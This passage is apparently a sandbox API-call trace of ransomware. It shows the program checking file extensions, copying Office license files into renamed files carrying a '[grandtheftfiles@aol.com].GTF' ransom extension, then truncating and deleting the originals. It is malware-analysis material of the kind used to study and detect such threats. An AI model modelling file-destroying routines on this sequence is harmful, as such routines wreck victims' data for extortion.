	[0168.521] lstrlenW (lpString=".pdf") returned 4
	[0168.521] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0168.521] lstrlenW (lpString=".xls") returned 4
	[0168.521] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0168.521] lstrlenW (lpString=".xlsx") returned 5
	[0168.521] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1
	[0168.521] lstrlenW (lpString=".ppt") returned 4
	[0168.521] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0168.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80
	[0168.521] lstrlenW (lpString=".zip") returned 4
	[0168.521] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0168.521] lstrlenW (lpString=".rar") returned 4
	[0168.521] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0168.521] lstrlenW (lpString=".bz2") returned 4
	[0168.521] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0168.521] lstrlenW (lpString=".7z") returned 3
	[0168.521] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0168.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80
	[0168.521] lstrlenW (lpString=".dbf") returned 4
	[0168.521] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0168.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80
	[0168.521] lstrlenW (lpString=".1cd") returned 4
	[0168.521] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0168.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80
	[0168.521] lstrlenW (lpString=".jpg") returned 4
	[0168.521] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0168.521] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0168.521] lstrlenW (lpString="AccessR_Retail-ppd.xrm-ms") returned 25
	[0168.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0168.522] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=20778) returned 1
	[0168.522] CloseHandle (hObject=0x534) returned 1
	[0168.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms")) returned 0x220
	[0168.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0168.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0168.523] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.523] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0168.524] GetLastError () returned 0x0
	[0168.524] ReadFile (in: hFile=0x534, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x512a, lpOverlapped=0x0) returned 1
	[0168.526] WriteFile (in: hFile=0x560, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x5130, lpOverlapped=0x0) returned 1
	[0168.528] ReadFile (in: hFile=0x534, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.528] WriteFile (in: hFile=0x560, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x106, lpOverlapped=0x0) returned 1
	[0168.528] SetEndOfFile (hFile=0x560) returned 1
	[0168.528] CloseHandle (hObject=0x560) returned 1
	[0168.528] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.528] SetEndOfFile (hFile=0x534) returned 1
	[0168.531] CloseHandle (hObject=0x534) returned 1
	[0168.531] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0168.531] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms")) returned 1
	[0168.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75
	[0168.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75
	[0168.532] lstrlenW (lpString=".doc") returned 4
	[0168.532] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0168.532] lstrlenW (lpString=".docx") returned 5
	[0168.532] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0168.532] lstrlenW (lpString=".pdf") returned 4
	[0168.532] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0168.532] lstrlenW (lpString=".xls") returned 4
	[0168.532] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0168.532] lstrlenW (lpString=".xlsx") returned 5
	[0168.532] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0168.532] lstrlenW (lpString=".ppt") returned 4
	[0168.532] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0168.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75
	[0168.532] lstrlenW (lpString=".zip") returned 4
	[0168.532] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0168.532] lstrlenW (lpString=".rar") returned 4
	[0168.532] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0168.532] lstrlenW (lpString=".bz2") returned 4
	[0168.532] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0168.532] lstrlenW (lpString=".7z") returned 3
	[0168.532] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0168.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75
	[0168.532] lstrlenW (lpString=".dbf") returned 4
	[0168.532] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0168.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75
	[0168.532] lstrlenW (lpString=".1cd") returned 4
	[0168.532] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0168.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75
	[0168.532] lstrlenW (lpString=".jpg") returned 4
	[0168.533] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0168.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75
	[0168.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75
	[0168.533] lstrlenW (lpString=".doc") returned 4
	[0168.533] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0168.533] lstrlenW (lpString=".docx") returned 5
	[0168.533] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0168.533] lstrlenW (lpString=".pdf") returned 4
	[0168.533] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0168.533] lstrlenW (lpString=".xls") returned 4
	[0168.533] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0168.533] lstrlenW (lpString=".xlsx") returned 5
	[0168.533] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0168.533] lstrlenW (lpString=".ppt") returned 4
	[0168.533] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0168.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75
	[0168.533] lstrlenW (lpString=".zip") returned 4
	[0168.533] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0168.533] lstrlenW (lpString=".rar") returned 4
	[0168.533] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0168.533] lstrlenW (lpString=".bz2") returned 4
	[0168.533] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0168.533] lstrlenW (lpString=".7z") returned 3
	[0168.533] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0168.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75
	[0168.533] lstrlenW (lpString=".dbf") returned 4
	[0168.533] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0168.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75
	[0168.533] lstrlenW (lpString=".1cd") returned 4
	[0168.533] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0168.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75
	[0168.533] lstrlenW (lpString=".jpg") returned 4
	[0168.533] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0168.534] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0168.534] lstrlenW (lpString="AccessR_Retail-ul-oob.xrm-ms") returned 28
	[0168.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0168.534] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11579) returned 1
	[0168.534] CloseHandle (hObject=0x534) returned 1
	[0168.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms")) returned 0x220
	[0168.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0168.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0168.535] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.535] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0168.536] GetLastError () returned 0x0
	[0168.536] ReadFile (in: hFile=0x534, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x2d3b, lpOverlapped=0x0) returned 1
	[0168.537] WriteFile (in: hFile=0x560, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2d40, lpOverlapped=0x0) returned 1
	[0168.539] ReadFile (in: hFile=0x534, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.539] WriteFile (in: hFile=0x560, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x10c, lpOverlapped=0x0) returned 1
	[0168.539] SetEndOfFile (hFile=0x560) returned 1
	[0168.539] CloseHandle (hObject=0x560) returned 1
	[0168.539] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.539] SetEndOfFile (hFile=0x534) returned 1
	[0168.541] CloseHandle (hObject=0x534) returned 1
	[0168.542] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0168.542] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-oob.xrm-ms")) returned 1
	[0168.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78
	[0168.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78
	[0168.543] lstrlenW (lpString=".doc") returned 4
	[0168.543] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0168.543] lstrlenW (lpString=".docx") returned 5
	[0168.543] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0168.543] lstrlenW (lpString=".pdf") returned 4
	[0168.543] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0168.543] lstrlenW (lpString=".xls") returned 4
	[0168.543] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0168.543] lstrlenW (lpString=".xlsx") returned 5
	[0168.543] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0168.543] lstrlenW (lpString=".ppt") returned 4
	[0168.543] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0168.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78
	[0168.543] lstrlenW (lpString=".zip") returned 4
	[0168.543] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0168.543] lstrlenW (lpString=".rar") returned 4
	[0168.543] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0168.543] lstrlenW (lpString=".bz2") returned 4
	[0168.543] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0168.543] lstrlenW (lpString=".7z") returned 3
	[0168.543] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0168.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78
	[0168.543] lstrlenW (lpString=".dbf") returned 4
	[0168.543] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0168.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78
	[0168.543] lstrlenW (lpString=".1cd") returned 4
	[0168.543] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0168.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78
	[0168.543] lstrlenW (lpString=".jpg") returned 4
	[0168.544] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0168.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78
	[0168.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78
	[0168.544] lstrlenW (lpString=".doc") returned 4
	[0168.544] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0168.544] lstrlenW (lpString=".docx") returned 5
	[0168.544] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0168.544] lstrlenW (lpString=".pdf") returned 4
	[0168.544] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0168.544] lstrlenW (lpString=".xls") returned 4
	[0168.544] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0168.544] lstrlenW (lpString=".xlsx") returned 5
	[0168.544] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0168.544] lstrlenW (lpString=".ppt") returned 4
	[0168.544] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0168.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78
	[0168.544] lstrlenW (lpString=".zip") returned 4
	[0168.544] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0168.544] lstrlenW (lpString=".rar") returned 4
	[0168.544] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0168.544] lstrlenW (lpString=".bz2") returned 4
	[0168.544] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0168.544] lstrlenW (lpString=".7z") returned 3
	[0168.544] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0168.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78
	[0168.544] lstrlenW (lpString=".dbf") returned 4
	[0168.544] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0168.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78
	[0168.544] lstrlenW (lpString=".1cd") returned 4
	[0168.544] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0168.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-oob.xrm-ms") returned 78
	[0168.544] lstrlenW (lpString=".jpg") returned 4
	[0168.544] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0168.545] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0168.545] lstrlenW (lpString="AccessR_Retail-ul-phn.xrm-ms") returned 28
	[0168.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0168.545] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=19924) returned 1
	[0168.545] CloseHandle (hObject=0x534) returned 1
	[0168.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms")) returned 0x220
	[0168.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0168.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0168.546] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.546] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0168.547] GetLastError () returned 0x0
	[0168.547] ReadFile (in: hFile=0x534, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x4dd4, lpOverlapped=0x0) returned 1
	[0168.549] WriteFile (in: hFile=0x560, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x4de0, lpOverlapped=0x0) returned 1
	[0168.550] ReadFile (in: hFile=0x534, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.550] WriteFile (in: hFile=0x560, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x10c, lpOverlapped=0x0) returned 1
	[0168.550] SetEndOfFile (hFile=0x560) returned 1
	[0168.550] CloseHandle (hObject=0x560) returned 1
	[0168.550] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.550] SetEndOfFile (hFile=0x534) returned 1
	[0168.553] CloseHandle (hObject=0x534) returned 1
	[0168.553] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0168.553] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms")) returned 1
	[0168.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78
	[0168.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78
	[0168.914] lstrlenW (lpString=".doc") returned 4
	[0168.915] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0168.915] lstrlenW (lpString=".docx") returned 5
	[0168.915] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0168.915] lstrlenW (lpString=".pdf") returned 4
	[0168.915] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0168.915] lstrlenW (lpString=".xls") returned 4
	[0168.915] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0168.915] lstrlenW (lpString=".xlsx") returned 5
	[0168.915] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0168.915] lstrlenW (lpString=".ppt") returned 4
	[0168.915] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0168.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78
	[0168.915] lstrlenW (lpString=".zip") returned 4
	[0168.915] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0168.915] lstrlenW (lpString=".rar") returned 4
	[0168.915] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0168.915] lstrlenW (lpString=".bz2") returned 4
	[0168.915] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0168.915] lstrlenW (lpString=".7z") returned 3
	[0168.915] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0168.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78
	[0168.915] lstrlenW (lpString=".dbf") returned 4
	[0168.915] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0168.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78
	[0168.915] lstrlenW (lpString=".1cd") returned 4
	[0168.915] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0168.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78
